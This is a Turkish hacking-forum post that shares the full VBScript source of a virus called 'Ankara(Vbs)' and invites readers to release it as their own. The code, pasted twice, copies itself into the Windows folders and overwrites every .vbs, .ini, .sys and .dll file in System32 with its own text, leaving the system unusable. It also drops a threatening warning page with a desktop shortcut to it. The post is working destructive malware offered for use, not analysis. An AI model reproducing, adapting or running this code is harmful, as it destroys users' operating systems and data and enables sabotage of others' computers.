Virüsü Ben Yazdım Deyip, 2 Kodu 1 Araya Getiremeyen Ters Yönlü Arkadaşlar, Ben Yaptım Deyip Sürebilirler Piyasaya
Virüsün Adı : Ankara(Vbs)
Kısaca İşlevi;
System32'de Bulunan Vbs, Inı, Sys Gibi Dosya Türlerinin İçeriğine Kendisini Enjekte Eder Ve Sistemi Çalışmaz Hale Getirir.
Çalışmıyo Vb SoruLar ; [Bu Linki Görüntüleyebilmeniz İçin Üye Olmanız Gerekiyor. Üye Olmak İçn Tıklayınız]
Kod:
Rem // Ankara(Vbs) - You Must Come To Ankara!
Rem // By: [email protected]
Dim c1, c2, c3, c4, c5
Set c1 = CreateObject ("Scripting.FileSystemObject")
Set c2 = c1.GetSpeciAlFolder(0)
Set c3 = c1.GetSpeciAlFolder(1)
Set c4 = c1.GetFile (Wscript.ScriptFullName)
c4.Copy (c2 & "\winL0rd.html")
c4.Copy (c3 & "\Ankara.vbs")
Set c5 = c1.OpenTextFile(c2 & "\winL0rd.html", 2, True)
c5.WriteLine "<Html><Head><Title>Warning!</title></Head><Body BgColor=" & """#000000""" & "><P Align=" & """Center""" & "><B><Font Face=" & """Verdana""" & " Size=" & """6""" & " Color=" & """#44F44""" & ">Warning!</Font></B><Br><Br><Font Face=" & """Verdana""" & " Size=" & """2""" & " Color=" & """#44FF44""" & ">I Can Destroy Your Computer, You Are Come To (ANKARA)</Font><Br><Br><Font Face=" & """Verdana""" & " Size=" & """2""" & " Color=" & """#44FF44""" & ">By: [email protected]</Font></P></Body></Html>"
Devam()
Sub Devam()
Dim c6, c7, c8, c9, c10
Set c6 = c1.OpenTextFile(WScript.ScriptFullName)
Set c7 = c1.GetSpecialFolder(1)
Set c8 = c1.GetFolder(c7)
Set c9 = c8.Files
c14 = c6.ReadAll
For each Ben in c9
uzanti = c1.GetExtensionName(Ben.path)
If (uzanti = "vbs") or (uzanti = "ini") or (uzanti = "sys") or (uzanti = "dll") Then
Set c10 = c1.OpenTextFile(Ben.path, 2, True)
c10.Write (c14)
c10.Close
End If
Next
Kyol()
End Sub
Sub Kyol()
Dim c11, c12, c13
set c11 = WScript.CreateObject("WScript.Shell")
c12 = c11.SpecialFolders("Desktop")
set c13 = c11.CreateShortcut(c12 & "\Oku Bunu.Url")
c13.TargetPath = (c2 & "\winL0rd.html")
c13.Save
Rem // Ankara(vbs)
End Sub
Virüsün Adı : Ankara(Vbs)
Kısaca İşlevi;
System32'de Bulunan Vbs, Inı, Sys Gibi Dosya Türlerinin İçeriğine Kendisini Enjekte Eder Ve Sistemi Çalışmaz Hale Getirir.
Çalışmıyo Vb SoruLar ; [Bu Linki Görüntüleyebilmeniz İçin Üye Olmanız Gerekiyor. Üye Olmak İçn Tıklayınız]
Kod:
Rem // Ankara(Vbs) - You Must Come To Ankara!
Rem // By: [email protected]
Dim c1, c2, c3, c4, c5
Set c1 = CreateObject ("Scripting.FileSystemObject")
Set c2 = c1.GetSpeciAlFolder(0)
Set c3 = c1.GetSpeciAlFolder(1)
Set c4 = c1.GetFile (Wscript.ScriptFullName)
c4.Copy (c2 & "\winL0rd.html")
c4.Copy (c3 & "\Ankara.vbs")
Set c5 = c1.OpenTextFile(c2 & "\winL0rd.html", 2, True)
c5.WriteLine "<Html><Head><Title>Warning!</title></Head><Body BgColor=" & """#000000""" & "><P Align=" & """Center""" & "><B><Font Face=" & """Verdana""" & " Size=" & """6""" & " Color=" & """#44F44""" & ">Warning!</Font></B><Br><Br><Font Face=" & """Verdana""" & " Size=" & """2""" & " Color=" & """#44FF44""" & ">I Can Destroy Your Computer, You Are Come To (ANKARA)</Font><Br><Br><Font Face=" & """Verdana""" & " Size=" & """2""" & " Color=" & """#44FF44""" & ">By: [email protected]</Font></P></Body></Html>"
Devam()
Sub Devam()
Dim c6, c7, c8, c9, c10
Set c6 = c1.OpenTextFile(WScript.ScriptFullName)
Set c7 = c1.GetSpecialFolder(1)
Set c8 = c1.GetFolder(c7)
Set c9 = c8.Files
c14 = c6.ReadAll
For each Ben in c9
uzanti = c1.GetExtensionName(Ben.path)
If (uzanti = "vbs") or (uzanti = "ini") or (uzanti = "sys") or (uzanti = "dll") Then
Set c10 = c1.OpenTextFile(Ben.path, 2, True)
c10.Write (c14)
c10.Close
End If
Next
Kyol()
End Sub
Sub Kyol()
Dim c11, c12, c13
set c11 = WScript.CreateObject("WScript.Shell")
c12 = c11.SpecialFolders("Desktop")
set c13 = c11.CreateShortcut(c12 & "\Oku Bunu.Url")
c13.TargetPath = (c2 & "\winL0rd.html")
c13.Save
Rem // Ankara(vbs)
End Sub
Son düzenleme:
